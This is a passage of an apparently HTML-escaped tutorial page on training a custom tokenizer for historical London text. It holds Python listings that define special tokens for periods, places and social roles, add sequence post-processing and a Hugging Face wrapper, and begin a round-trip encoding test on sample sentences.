&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|southwark|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|cheapside|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|fleet|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|ludgate|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|aldgate|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Historical period tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|tudor|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|stuart|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|georgian|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|regency|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|victorian|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Social and professional tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|noble|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|gentleman|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|commoner|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|apothecary|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|coachman|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|merchant|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|court|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|jury|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|verdict|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|church|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|parish|&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; special_tokens&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 10: Special Tokens Creation Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id=&#34;331-token-category-analysis&#34;&gt;3.3.1 Token Category Analysis&lt;/h4&gt;
&lt;p&gt;Our special token vocabulary spans ten carefully curated categories, each designed to capture essential aspects of historical London life. The largest categories focus on &lt;strong&gt;Historical Language&lt;/strong&gt; (25 tokens) and &lt;strong&gt;London Geography&lt;/strong&gt; (20 tokens), providing the linguistic and spatial foundation for authentic historical text generation. These tokens capture archaic pronouns like &lt;code&gt;&amp;quot;thou&amp;quot;&lt;/code&gt; and &lt;code&gt;&amp;quot;thee,&amp;quot;&lt;/code&gt; along with specific London locations like &lt;code&gt;&amp;quot;Thames&amp;quot;&lt;/code&gt; and &lt;code&gt;&amp;quot;Newgate&amp;quot;&lt;/code&gt; that were central to historical narratives.&lt;/p&gt;
&lt;p&gt;The remaining categories address the social, professional, and cultural dimensions of historical society. &lt;strong&gt;Social Class&lt;/strong&gt; and &lt;strong&gt;Professional&lt;/strong&gt; tokens (35 tokens combined) reflect the highly stratified nature of historical London, enabling accurate dialogue between nobles, commoners, and various tradespeople. &lt;strong&gt;Legal and Judicial&lt;/strong&gt; tokens support court proceedings from the Old Bailey, while &lt;strong&gt;Religious&lt;/strong&gt; tokens capture the central role of faith in historical society. &lt;strong&gt;Temporal&lt;/strong&gt;, &lt;strong&gt;Currency&lt;/strong&gt;, and &lt;strong&gt;Transportation&lt;/strong&gt; tokens (35 tokens combined) provide the temporal, economic, and logistical context that makes historical narratives authentic and believable.&lt;/p&gt;
&lt;h4 id=&#34;332-special-token-categories-visualization&#34;&gt;3.3.2 Special Token Categories Visualization&lt;/h4&gt;
&lt;p&gt;Let us visualize the special token categories and their relationships as shown below. These special tokens enable the model to understand and generate authentic historical language. Without them, the model would fragment historical concepts into meaningless subwords, losing the cultural and linguistic context that makes historical text generation both challenging and rewarding.&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig5&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph LR
    A[🔤 Special Tokens&amp;lt;br/&amp;gt;150+ Total] --&amp;gt; B[📜 Historical Language&amp;lt;br/&amp;gt;25 tokens]
    A --&amp;gt; C[🏛️ London Geography&amp;lt;br/&amp;gt;20 tokens]
    A --&amp;gt; D[⏰ Historical Periods&amp;lt;br/&amp;gt;10 tokens]
    A --&amp;gt; E[👥 Social Classes&amp;lt;br/&amp;gt;15 tokens]
    A --&amp;gt; F[💼 Professions&amp;lt;br/&amp;gt;20 tokens]
    A --&amp;gt; G[⚖️ Legal &amp;amp; Judicial&amp;lt;br/&amp;gt;10 tokens]
    A --&amp;gt; H[⛪ Religious&amp;lt;br/&amp;gt;10 tokens]
    A --&amp;gt; I[🕐 Temporal&amp;lt;br/&amp;gt;15 tokens]
    A --&amp;gt; J[💰 Currency &amp;amp; Measurement&amp;lt;br/&amp;gt;10 tokens]
    A --&amp;gt; K[🚗 Transportation&amp;lt;br/&amp;gt;10 tokens]

    B --&amp;gt; B1[&amp;#34;&amp;lt;|thou|&amp;gt;, &amp;lt;|thee|&amp;gt;, &amp;lt;|hast|&amp;gt;, &amp;lt;|doth|&amp;gt;, &amp;lt;|quoth|&amp;gt;&amp;#34;]
    C --&amp;gt; C1[&amp;#34;&amp;lt;|london|&amp;gt;, &amp;lt;|thames|&amp;gt;, &amp;lt;|newgate|&amp;gt;, &amp;lt;|westminster|&amp;gt;&amp;#34;]
    D --&amp;gt; D1[&amp;#34;&amp;lt;|tudor|&amp;gt;, &amp;lt;|stuart|&amp;gt;, &amp;lt;|georgian|&amp;gt;, &amp;lt;|regency|&amp;gt;&amp;#34;]
    E --&amp;gt; E1[&amp;#34;&amp;lt;|noble|&amp;gt;, &amp;lt;|gentleman|&amp;gt;, &amp;lt;|commoner|&amp;gt;, &amp;lt;|yeoman|&amp;gt;&amp;#34;]
    F --&amp;gt; F1[&amp;#34;&amp;lt;|apothecary|&amp;gt;, &amp;lt;|coachman|&amp;gt;, &amp;lt;|chimneysweep|&amp;gt;, &amp;lt;|baker|&amp;gt;&amp;#34;]
    G --&amp;gt; G1[&amp;#34;&amp;lt;|court|&amp;gt;, &amp;lt;|jury|&amp;gt;, &amp;lt;|verdict|&amp;gt;, &amp;lt;|prisoner|&amp;gt;&amp;#34;]
    H --&amp;gt; H1[&amp;#34;&amp;lt;|church|&amp;gt;, &amp;lt;|parish|&amp;gt;, &amp;lt;|prayer|&amp;gt;, &amp;lt;|blessed|&amp;gt;&amp;#34;]
    I --&amp;gt; I1[&amp;#34;&amp;lt;|morn|&amp;gt;, &amp;lt;|eve|&amp;gt;, &amp;lt;|season|&amp;gt;, &amp;lt;|year|&amp;gt;&amp;#34;]
    J --&amp;gt; J1[&amp;#34;&amp;lt;|shilling|&amp;gt;, &amp;lt;|pound|&amp;gt;, &amp;lt;|yard|&amp;gt;, &amp;lt;|furlong|&amp;gt;&amp;#34;]
    K --&amp;gt; K1[&amp;#34;&amp;lt;|coach|&amp;gt;, &amp;lt;|carriage|&amp;gt;, &amp;lt;|horse|&amp;gt;, &amp;lt;|vessel|&amp;gt;&amp;#34;]

    %% class definitions (custom palette matching your original)
    classDef cls_root fill:#e1f5fe,stroke:#81d4fa,color:#000;
    classDef cls_hist fill:#f3e5f5,stroke:#ce93d8,color:#000;
    classDef cls_geo fill:#e8f5e8,stroke:#a5d6a7,color:#000;
    classDef cls_period fill:#fff3e0,stroke:#ffe0b2,color:#000;
    classDef cls_social fill:#fce4ec,stroke:#f8bbd0,color:#000;
    classDef cls_prof fill:#f1f8e9,stroke:#c5e1a5,color:#000;
    classDef cls_legal fill:#e0f2f1,stroke:#80cbc4,color:#000;
    classDef cls_relig fill:#f9fbe7,stroke:#e6ee9c,color:#000;
    classDef cls_temp fill:#e3f2fd,stroke:#90caf9,color:#000;
    classDef cls_curr fill:#fef7e0,stroke:#ffe082,color:#000;
    classDef cls_trans fill:#f3e5f5,stroke:#e1bee7,color:#000;

    %% assign classes
    class A cls_root;
    class B cls_hist;
    class C cls_geo;
    class D cls_period;
    class E cls_social;
    class F cls_prof;
    class G cls_legal;
    class H cls_relig;
    class I cls_temp;
    class J cls_curr;
    class K cls_trans;&lt;/pre&gt;
    &lt;figcaption&gt;Figure 5: Special Token Categories and Examples&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 id=&#34;35-post-processing-and-hugging-face-integration&#34;&gt;3.5 Post-Processing and Hugging Face Integration&lt;/h3&gt;
&lt;p&gt;After training our custom tokenizer, we need to make it compatible with the broader machine learning ecosystem and ensure it works properly with language model training. Raw tokenizers can only convert text to tokens and back. Still, language models require additional functionality, such as special token handling, sequence padding, and integration with popular frameworks like Hugging Face Transformers.&lt;/p&gt;
&lt;p&gt;The challenge, though, is that language model training requires specific formatting that raw tokenizers don&amp;rsquo;t provide. For example, training sequences need to be wrapped with special start/end tokens (&lt;code&gt;&amp;lt;|startoftext|&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;|endoftext|&amp;gt;&lt;/code&gt;), padded to consistent lengths for batch processing, and integrated with the rest of the ecosystem. In our case, we also want to utilize Hugging Face and its ecosystem, allowing us to leverage standard training scripts and model architectures. Without proper post-processing, our custom tokenizer would be incompatible with existing training infrastructure.&lt;/p&gt;
&lt;p&gt;We add post-processing capabilities that wrap text sequences with control tokens and create Hugging Face-compatible tokenizer files, ensuring seamless integration with the broader machine learning ecosystem while preserving our historical text optimizations.&lt;/p&gt;
&lt;p&gt;There are three key areas that we need to consider:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Understanding Post-Processing:&lt;/strong&gt; The first step is adding a post-processor that automatically wraps every text sequence with special start and end tokens. This is crucial because language models must be able to identify where sequences begin and end during training. For example, when we tokenize &lt;code&gt;&amp;quot;Hello world&amp;quot;&lt;/code&gt;, the post-processor automatically converts it to &lt;code&gt;&amp;lt;|startoftext|&amp;gt; Hello world &amp;lt;|endoftext|&amp;gt;&lt;/code&gt;. This template processing ensures consistent formatting across all our training data.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hugging Face Integration:&lt;/strong&gt; Next, we create a Hugging Face-compatible wrapper around our custom tokenizer. This wrapper maps our special tokens to the standard token types that Hugging Face expects: beginning-of-sequence (bos), end-of-sequence (eos), padding, unknown, and masking tokens. This mapping allows our custom tokenizer to work seamlessly with standard training scripts and model architectures.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Special Token Functions:&lt;/strong&gt; Each special token serves a specific purpose in language model training. The beginning-of-sequence token indicates when a new text starts, the end-of-sequence token marks the end of the text, padding tokens ensure all sequences in a batch have the same length, unknown tokens handle words not in our vocabulary, and masking tokens are used during training for masked language modeling tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The code in &lt;a href=&#34;#listing11&#34; class=&#34;listing-ref&#34;&gt;Listing 11&lt;/a&gt; demonstrates how we implement these post-processing steps and create a Hugging Face-compatible tokenizer:&lt;/p&gt;
&lt;figure id=&#34;listing11&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_huggingface_tokenizer&lt;/span&gt;(tokenizer: Tokenizer, max_length: &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1024&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; PreTrainedTokenizerFast:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Create Hugging Face compatible tokenizer&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; PreTrainedTokenizerFast
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add post-processor for sequence formatting&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;post_processor &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; processors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;TemplateProcessing(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        single&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|startoftext|&amp;gt; $A &amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            (&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|startoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            (&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create Hugging Face tokenizer wrapper&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hf_tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; PreTrainedTokenizerFast(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer_object&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        bos_token&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|startoftext|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        eos_token&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        pad_token&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|pad|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        unk_token&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|unk|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        mask_token&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|mask|&amp;gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model_max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;max_length
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; hf_tokenizer&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 11: Hugging Face Tokenizer Integration&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Without this integration, our custom tokenizer would be incompatible with standard language model training. The post-processor ensures proper sequence formatting, while the Hugging Face wrapper enables seamless integration with existing training infrastructure and model architectures. This makes our tokenizer compatible with standard training frameworks, allowing for easy sharing and deployment.&lt;/p&gt;
&lt;h3 id=&#34;36-testing-and-validation&#34;&gt;3.6 Testing and Validation&lt;/h3&gt;
&lt;p&gt;We need to ensure the tokenizer works correctly with historical text before using it for model training. This requires testing on diverse historical samples and validating both encoding and decoding accuracy. A simple way to do this is to encode a set of historical text samples, decode them back, and check if the original text is perfectly reconstructed. We also want to verify that special tokens are used correctly in the tokenized output.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;test_historical_tokenizer&lt;/span&gt;(tokenizer: Tokenizer) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;dict&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Test the trained tokenizer on historical text samples&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    test_texts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year of our Lord 1834, the streets of London were filled with the sounds of horse-drawn carriages.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The gentleman from the country said, &amp;#39;I have never seen such a sight in all my days.&amp;#39;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The Thames flowed dark and mysterious through the heart of the city.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;It was the best of times, it was the worst of times.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;perfect_reconstruction&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;special_token_usage&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;failed_tests&amp;#39;&lt;/span&gt;: []}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i, text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;enumerate&lt;/span&gt;(test_texts):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Encode and decode text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        encoded &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        decoded &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(encoded&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check reconstruction accuracy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; decoded&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            results[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;perfect_reconstruction&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            results[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;failed_tests&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append({&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;index&amp;#39;&lt;/span&gt;: i, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;original&amp;#39;&lt;/span&gt;: text, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;decoded&amp;#39;&lt;/span&gt;: decoded})
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check special token usage&lt;/span&gt;
